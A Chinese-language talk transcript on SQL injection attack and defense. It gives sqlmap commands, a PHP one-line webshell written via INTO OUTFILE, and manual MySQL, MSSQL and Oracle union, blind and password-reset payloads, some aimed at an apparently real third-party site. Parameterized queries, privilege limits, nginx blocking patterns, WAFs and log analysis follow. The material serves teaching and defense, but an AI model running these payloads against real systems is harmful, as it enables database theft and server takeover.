永不落幕的数据库注入攻防
我记得之前有人说过,对于一家软件公司来说,最重要的不是它的办公楼,也不是它的股票,而是代码。代码这东西,说到底就是一堆数据。这话不假,但是不仅仅这样。对于一家企业来说,它的用户数据也是最重要的几个之一。在座各位想必多为DBA或者数据分析相关岗位的同学,对数据于企业的重要性,应该理解很深刻了。那么,换一个角度,站在用户角度,数据对他而言,更是要害。从以前的“艳照门”、“电信诈骗”,到现在的“50亿条公民信息泄露”,数据泄漏每天都在发生着。所以,不管是谁,站在企业还是用户角度,保护数据安全是重中之重。今天的主题,“数据库注入攻防”就属于数据安全这个领域的问题了。
数据库能有什么安全问题?
那些年泄漏的数据
说起数据库安全问题,大家有很多答案,可能因暴露外网被攻击,可能因架构或网络原因破坏数据一致性,可能因备份还原机制不可用丢数据。但对于企业、用户来说,数据泄漏却是一个特别突出的问题。这里贴一张图,如图1,过去10年,中国互联网泄漏的10亿多条用户信息,不过跟最新泄漏的“50亿条公民信息”相比,简直小巫见大巫。现在这些数据库在互联网早传了遍,网上很多“社工库”的数据,如图2,就是从这里来的,但是还有很多是不公开的,还在地下买卖,恐怕我们现在知道的数据泄漏只是冰山一角。
图1
图2
泄漏的数据哪来的?
那么,问题来了,这些数据是怎么泄漏的?根据搜狐网上的一些报道,我按类型整理了大概有6种途径,分成用户提供和不法分子利用2个大类,占比大概如图3所示。
图3
用户提供
首先,用户随意连接免费WIFI或者扫描二维码被盗取个人信息;此外,手机、电脑等终端感染病毒等恶意软件,也会造成个人信息被窃取。但是这些都是因为用户自己的主动行为引起的。
不法分子利用
这种主要是包括黑客在内的不法分子主动获取造成。比如:
掌握了信息的公司、机构员工主动倒卖信息;
黑客利用网站漏洞,入侵数据库,换句话说,这就是数据库注入引发的一个个血案;
用户密码简单,“一套密码走天下”,结果黑客通过“撞库”等间接方式也获取了用户帐号密码;
个人身份信息保管不当被利用,比如身份证复印件乱丢,轻易相信网购优惠填写身份证、银行卡信息,从而造成信息泄漏。
今天,我们将从原理、攻防等方面去剖析数据库注入。
何为数据库注入
原理
通过把恶意SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,从而欺骗服务器执行恶意的SQL命令,而不是按照设计者意图去执行SQL语句。从图4可以看到,正常用户输入的是自己的账号密码,但是攻击者不会按开发者想法来,他会用各种畸形输入来测试,比如图4就是传说中的“万能密码”,10年前,很多网站倒在它面前,就是因为完全信任用户输入。
图4
有什么危害
非法读取、篡改、添加、删除数据库中的数据
盗取用户的各类敏感信息,获取利益
通过修改数据库来修改网页上的内容
私自添加或删除账号
注入木马等等
看起来数据库注入的危害可不知信息泄漏,破坏数据库数据和进一步入侵也是入侵的题中应有之义。
跟其他的web攻击如xss/csrf/ssrf之类比有什么不同
危害最大
根据OWASP(Open Web Application Security Project)2013年安全报告,如图5,数据库注入是最严重的web安全问题。
图5
直接攻击数据库,而数据是最敏感的
容易被深度利用,造成威胁扩散
刚才上面也提到,数据库注入可以用来传播木马,甚至控制服务器,想想空间很大。
数据库注入攻击实战
在网络安全行业有一句话,“未知攻,焉知防”。所以我们要理解数据库注入,要做好防御措施,先来看看它是怎么攻击我们数据库的。
利用思路
攻击一般可以采用手工和自动化工具两种方式,各有千秋。
手工:
繁琐、效率低;灵活、能够根据站点防护措施随时调整攻击思路。
工具:
效率高、批量自动挖掘;但是容易被waf(web防火墙)识别、模式相对单一,不够灵活。但还在,事在人为,工具可以跟人一样聪明,下面我们就利用神器让注入“飞起来”吧。
主要会用到下面几款工具。
Nmap:社区最著名端口扫描工具。
AWVS:商业级web漏洞扫描工具,准确率和效率名列漏扫工具Top3。
Sqlmap.py:全自动sql注入工具,神器之“神”。
Nosqlmap.py:Sqlmap的Nosql版本,支持Mongodb等。
Webshell:web木马,攻城略地不可或缺。
渗透测试环境
要知道,在欧美,扫描别人网站也可能违法,更别说入侵网站了。同理,我们的测试,也仅使用模拟环境。下面有很多web渗透的模拟环境,部署起来非常简单。
https://github.com/ethicalhack3r/DVWA
https://github.com/WebGoat/WebGoat
https://github.com/Audi-1/sqli-labs
https://hack.me/t/SQLi
https://github.com/davevs/dvxte
https://github.com/rapid7/metasploitable3
全景图
在开始测试前,先整理一遍思路。通常渗透测试,会遵循:信息采集、入口发现、入口测试、获取webshell、提权等步骤。下面大概介绍下每个环节需要做的事情。
收集信息:通过端口扫描工具、搜索引擎或者目录爆破工具收集敏感信息或者端口开放信息,以便作为测试入口。
注入:一般说是入口发现,我们这次是web站点存在sql注入,然后通过手工尝试PoC(漏洞验证payload)或者自动化工具测试,一旦发现sql注入点,立马开始遍历数据库,俗称“脱库”。但是,别忘了世纪佳缘白帽子事件,殷鉴不远啊。
Getshell:基于sql注入上传木马,获取服务器控制权限。
提权:基于已有的普通用户权限,利用系统内核漏洞或者应用漏洞,将自己升级到root用户。
进阶:思路足够广,要多深入有多深入。
发现漏洞
nmap -p1-65535 192.168.115.131
发现开放tcp/80端口,为web服务,手工验证注入入口。发现http://192.168.115.181/cat.php?id=1存在sql注入。使用awvs进行进一步验证,如图6。
图6
脱库
使用sqlmap全自动脱库,扫出数据库、表名、列等信息。
图7
Getshell
也是使用sqlmap直接在sql shel里写文件,当然也可以切换到--os-shell获取操作系统shell直接执行系统命令,如图8。
代码语言:javascript复制 sqlmap.py -u http://192.168.115.131:80/cat.php?id=1 --dbms mysql --sql-shell
>sql-shell: select '<? php eval($_POST[cmd]);?>' into outfile '/var/www/2011.php.test';
图8
传说中的“一句话木马”、“小马”、“大马”,这里科普一下,“一句话木马”就是将接收任意字符进行执行的php/asp/jsp文件,通常只有几行,甚至只有一行;“小马”就是“一句话木马”或者功能比较简单的web木马,“大马”就是功能齐全的web木马,比如图8所示,可以管理文件、数据库、执行系统命令、端口扫描甚至端口转发。
提权
从普通用户变成root用户。这个需要利用操作系统内核版本漏洞,所幸该内核版本(图9)很低,真找到了内核exp(图10),顺利提权。
图9
图10
进阶利用
提完权就算了?没这么简单,如果处于攻击目的,实际上可做的事情太多了。
内网漫游:一般数据库都放在内网,我们都知道企业内网很多“宝藏”,各种空口令、弱密码、目录遍历,随便扫一下就大丰收了,如图11。
流量劫持:arp攻击、ssl流量劫持、抓包上传甚至攻击域控服务器等等,都深入到这程度,真没什么做不到的。
DDoS肉鸡:控制被入侵机器去攻击别人,当你发现某台服务器出向流量异常高就该担心了,如图12。
远控:监控机器,比如键盘记录、用户命令记录等等。
刚才完整介绍了一个自动sql注入攻击的过程,可能大家觉得还是不够过瘾,因为一路只看我在使用工具,连畸形sql语句都没看到,所以下面针对Mysql、MSSQL、Oracle等主流关系型数据库的手工注入大概介绍下。
Mysql
图13
http://192.168.115.131/cat.php?id=1'
直接在参数后面跟上’,或者,如果没有合理过滤,是会报语法错误的,不信你看看图13。
http://192.168.115.131/cat.php?id=1 and 1=2 union select 1,user(),3,4
然后开始试探数据库字段数、当前用户,如图14。
图14
http://192.168.115.131/cat.php?id=1 and (select * from (select(sleep(5)))lsrk)
http://192.168.115.131/cat.php?id=1 UNION
SELECT 1,concat(login,':',password),3,4 FROM users;’
接下来是用来测试是否存在基于时间的盲注和查询数据库管理员帐号密码的,拿到root账号后可以去网上破解。
Mssql
这个思路跟mysql一样,只是需要mssql的注释符和mysql有所不同,前者支持--,后者支持#,如图15。
http://www.aquaservices.co.in/authorprofile.asp?id=13 order by 100--
Here comes the error : The order by position number 100 is out of range of the number of items
图15
http://www.aquaservices.co.in/authorprofile.asp?id=13 and 0=1 Union All Select 1,@@version,3,4,5,6,db_name(),8--
http://www.aquaservices.co.in/authorprofile.asp?id=13;exec master.dbo.sp_password null,password,username;–
这里还可以执行存储过程master.dbo.sp_password直接修改数据库账号密码呢。
Oracle
思路也差不多,不过语法上稍微复杂点,如果语法不太熟,有个技巧,可以用sqlmap去跑PoC,如图16,按照提醒去构造畸形输入。
代码语言:javascript复制#获取数据库版本信息
and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
#开始爆库
and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>'第
一个库名') from dual
and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from Dual
mongodb
上面讲的都是关系型数据库,非关系型数据库mongodb这些是不是就安全了?不是的,如图17,密码还是明文保存的呢。
图17
为什么会发生数据库注入
经过上面数据库注入的攻击测试,相信大家再也不会心怀侥幸了,因为攻击成本很低不是?那么,总结一下我们看到的,数据库注入发生的原因是什么?
透过现象看本质
SQL注入可以分为平台层注入和代码层注入。
前者由不安全的数据库配置或数据库平台的漏洞所致;
①不安全的数据库配置;②数据库平台存在漏洞;
后者由于开发对输入未进行细致过滤,从而执行非法数据查询。
①不当的类型处理;
②不合理的查询集处理;③不当的错误处理;
④转义字符处理不合适;⑤多个提交处理不当。
代码
首先,“信任,过犹不及”。很多时候,我们一直强调,站在开发者角度,用户是不可信任的,未过滤或验证用户输入以及输出数据,就是给自己挖坑。比如下面这个:
代码语言:javascript复制<?php
$username = "aaa";
$pwd = "fdsafda' or '1'='1";
$sql = "SELECT * FROM table WHERE username = '{$username}' AND pwd = '{$pwd}'";
echo $sql; //输出 SELECT * FROM table WHERE username = 'aaa' AND pwd = 'fdsafda' or '1'='1'
?>
传说中的“万能密码”利用的后台代码差不多就是这个渣样。当然,现在几乎不可能存在了,因为人总是会吸取教训的,各种安全开发的理念还是逐渐逐渐深入人心了。
数据库
站在运维角度,数据库注入中运维“三宗罪”,分别是:
空密码/弱密码
“空,那么空”,我耳朵里突然想起来金志文的《空城》。
代码语言:javascript复制mysql> select user,host,password from mysql.user;
------ ----------- ----------
| user | host | password |
------ ----------- ----------
| root | localhost | |
| root | 127.0.0.1 | |
| root | ::1 | |
外网开放
数据库开放外网,还不改端口(改了也没用,因为现在都是全端口扫描的),这不是找抽吗?
代码语言:javascript复制iptables-save | grep 3306
-A INPUT -p tcp -m tcp --dport 3306 -j ACCEPT
用户权限控制不当
按照最小权限原则,只给账号需要的最小权限即可。
代码语言:javascript复制mysql> show grants for gs@101.101.101.101;
-----------------------------------------------
| Grants for gs@101.101.101.101;
-----------------------------------------------
| GRANT ALL PRIVILEGES ON `gameserver`.* TO 'wscs_gs'@'101.101.101.101'
数据库注入攻击防御
上文已介绍了数据库注入的原因和形式,下文将从代码、数据库、webserver和数据分析四个层面介绍如何防御数据库注入攻击。
代码
SDL(Security Develop Lifecircle):软件开发应当遵循“安全开发生命周期”,软件测试需要增加安全测试的白盒与黑盒测试。
用户是不可信的:输入输出都应当被过滤,至少应满足以下4个编码规则。
1.对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要把机密信息明文存放,加密或者hash掉密码和敏感的信息。
4.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行封装
下面我针对php和pyth的反sql注入讲2个例子,因为平时用的比较多的是ThinkPHP和Flask这2个web框架。
php
where方法使用字符串条件的时候,支持预处理(安全过滤)
代码语言:javascript复制$Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select();
模型的query和execute方法 同样支持预处理机制,例如:
代码语言:javascript复制$model->query('select * from user where id=%d and status=%d',$id,$status);
python
cur=db.cursor()
sql = "INSERT INTO test2(cid, author, content) VALUES (%s, %s, %s)" #使用%s而不是'%s'
sql=sql%('2','2','bb')
cur.execute(sql,())
数据库
从架构和运维两方面谈谈如何在数据库层面进行防御。
架构
首先是架构层面,处于性能和安全考虑,可以在数据库集群与webserver等前端中间增加dbproxy的中间件,比如batis或者mycat。
DB-Proxy batis mycat
如图18所示,Mycat中实现了mysql的预处理协议,可以接收预处理命令的处理。当使用预处理查询,也可以返回正确的二进制结果集包,通过这个预处理,可以实现对sql注入的过滤和拦截。
开源SQL检测、阻断系统 Druid-sql-wall
Druid提供了WallFilter,基于SQL语义分析来实现防御SQL注入攻击。
运维
然后是运维层面,可以在进程管理、用户授权、端口开放等方面进行攻击缓解甚至遏制。
进程启动用户
代码语言:javascript复制mysql 23400 22671 0 Mar19 ? 00:13:25 /usr/sbin/mysqld --basedir=/home/mysql --datadir=/home/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --open-files-limit=8192 --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
数据库用户授权
代码语言:javascript复制mysql> show grants for gs@101.101.101.101;
| GRANT SELECT,INSERT,DELETE,UPDATE,USAGE PRIVILEGES ON `gameserver`.* TO 'gs'@'10.10.10.10' BY PASSWORD '*89DCA7B59FD064E3A478xxxxxxxxxF272E7E'
iptables
代码语言:javascript复制-A INPUT -p tcp -m tcp --dport 3306 -j MYSQL
-A MYSQL -p tcp -m tcp --dport 3306 -j REJECT --reject-with icmp-port-unreachable
Webserver
接下来,除了前面讲的代码、数据库层面进行数据库注入的防御,其实如果有web前端,一般还是可以在webserver层面进行拦截,实现一个多层次的、立体的防护体系。
下面将介绍webserver配置、web防火墙两方面的防御思路。
配置,配置,还是配置
在websever的vhost设置查询字符串过滤,一旦用户提交的字符串存在安全隐患,直接进行拦截,由于这个匹配度很高,误杀可能性很低,但是在业务量比较大的情况下,会损耗webserver一定性能。
代码语言:javascript复制server {
set $block_sql_injections 0;
if ($query_string ~ “union.*select.*(“) {
set $block_sql_injections 1;
}
if ($query_string ~ “union.*all.*select.*”) {
set $block_sql_injections 1;
}
if ($query_string ~ “concat.*(“) {
set $block_sql_injections 1;
}
if ($block_sql_injections = 1) {
return 444;
}
Waf
全称是web application firewall,跟websever耦合度很高,一般是作为webserver的插件编译安装进去,常见的方案有下面几种:
tengine_waf:基于Nginx二次开发的Tengine的waf模块。
nginx Sysguard:Nginx定制版waf
nginx HTTPGuard:Nginx定制版waf
Apache Mod_security:Mod_security其实支持Apache和Nginx,原生的支持Apache,是很通用的一种方案。
一般waf支持的功能是在以下层面进行匹配、过滤。
user-agent 匹配拦截恶意的user-agent
url 匹配拦截恶意的网页路径
args 匹配拦截恶意的GET请求参数
post 匹配拦截恶意的post请求参数
cookie 匹配拦截恶意的cookie 请求
whitetip ip白名单
whiteurl 网页路径白名单
blockip ip黑名单
日志分析
在海量的webserver access.log中分析匹配攻击模型,从中发现sql注入或者getshell的敏感语句。
比如下面这个wordpress的攻击日志,通过报错或者’’敏感字符发现报警:
代码语言:javascript复制[07-Dec-2016 02:40:49] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = -1'' at line 1 for query SELECT text, author_id, date FROM WHERE id = -1'
现在通过日志大数据做安全防御的方案有这么几种:
实时检索:ELK,实时查询性能很好,也有自己的访问控制机制,需要定制。
离线分析:Hadoop,利用MapReduce等算法进行模型定制、分析、输出报告,方案参考
流处理:Storm Spark,实时性能好,可以用作实时风控系统。
图19
数据库注入其实只是安全攻防的一个小小的领域,但是因为涉及到企业、用户数据,需要列入重点关注。但是,我们也知道,道高一尺魔高一丈,在利益的驱使下攻击不会停止,我们的防护也不会停止,这场攻防之战永不落幕。
问答
Q1:开发学这个sqlmap,使用上有哪些难点?手册中文版的么?
A1:如果不是基于sqlmap做二次开发,sqlmap学习门槛很低,只需要对照官方手册(有中文版,安装包的doc/translations/README-zh-CN.md)操作即可,就跟学习普通的Linux系统命令一样简单。如果开发同学想基于sqlmap做二次开发,难点主要在理解Sqlmap的整体框架,它在软件工程上被推崇备至,就是因为在设计思想、性能处理上非常值得学习。此外,还可以自定义一些Tamper文件用于绕过服务端过滤,这个比较简单,主要是字符转换。Sqlmap的学习手册可以参考:http://www.secbox.cn/hacker/6311.html。
Q2:攻击工具常用的有哪些?
A2:不同类型的攻击常用工具都不同,这个回答起来太泛了。这里我们单纯讲数据库注入需要用到的,信息收集通常使用nmap扫描开放端口、御剑扫描网站目录,漏洞发现通常基于信息收集使用AWVS或者OpenVas进行web或系统漏洞扫描,如果发现sql注入,则分别使用sqlmap、pangolin(穿山甲)等工具进行自动渗透,然后再基于漏洞点的权限决定通过后台上传还是直接写一句话木马到站点,之后,使用中国菜刀(一句话木马连接工具)连接,再往后的攻击主要靠思路,没什么现成工具。
Q3:waf可以检测到SQL注入的行为吗?
A3:可以。像HTTPGuard或者tengine_waf都支持SQL注入行为发现,主要原理也是依据正则表达式匹配,然后通过输出的log来报警。
Q4:请问有什么好的相关书籍或者资料推荐,系统学习安全方面的知识
A4:1.建议先从web安全入门,推荐《白帽子讲Web安全》,同时学习Linux系统基础知识,推荐《跟阿铭学linux》。系统安全可以看2.资料可以参考别人整理的Github上安全知识仓库:http://www.uedbox.com/github-security-repo-collection/;以及知乎上面的专栏文章:https://zhuanlan.zhihu.com/p/25661457。
Q5:市场上有什么防数据库注入的解决方案吗?
A5:没有单独的防数据库注入的产品或者商业方案,一般作为入侵检测系统的子功能,或者web站点安全防护解决方案的一部分。传统安全厂商启明星辰、绿盟都有入侵检测产品,web方面的360和安全狗用的比较多。如果是自己实现,就是本次分享提到的代码、数据库、webserver、日志分析等几个层面的方案。
Q6:科普下肉鸡是什么?
A6:肉鸡也称傀儡机,是指可以被黑客远程控制的机器。受害者被诱导点击或者机器被黑客攻破或机器有漏洞被种植了木马,黑客借此随意操纵服机器并利用它做任何事情,比如DDoS。
Q7:可以用admin权限,上传一个1像素的木马到主页上抓肉鸡,不是更好吗?
A7:你这里说的应该是网页挂马,也是抓肉鸡的一种方式。但是要获取admin权限,作为非法用户,本身就要通过入侵去实现的。
Q8:那些搞破解的是不是专做这些事?
A8:数据库注入跟破解其实不是一个领域的问题,破解更多的是应用程序的逆向,比如破解商业软件的License之类的。
参考资料
社工库问答 :https://www.zhihu.com/question/22827473
个人信息泄漏源:http://business.sohu.com/20160917/n468557286.shtml
SQL注入基础:http://blog.csdn.net/pan_cras/article/details/52168448
SQL注入原理:http://blog.csdn.net/stilling2006/article/details/8526458/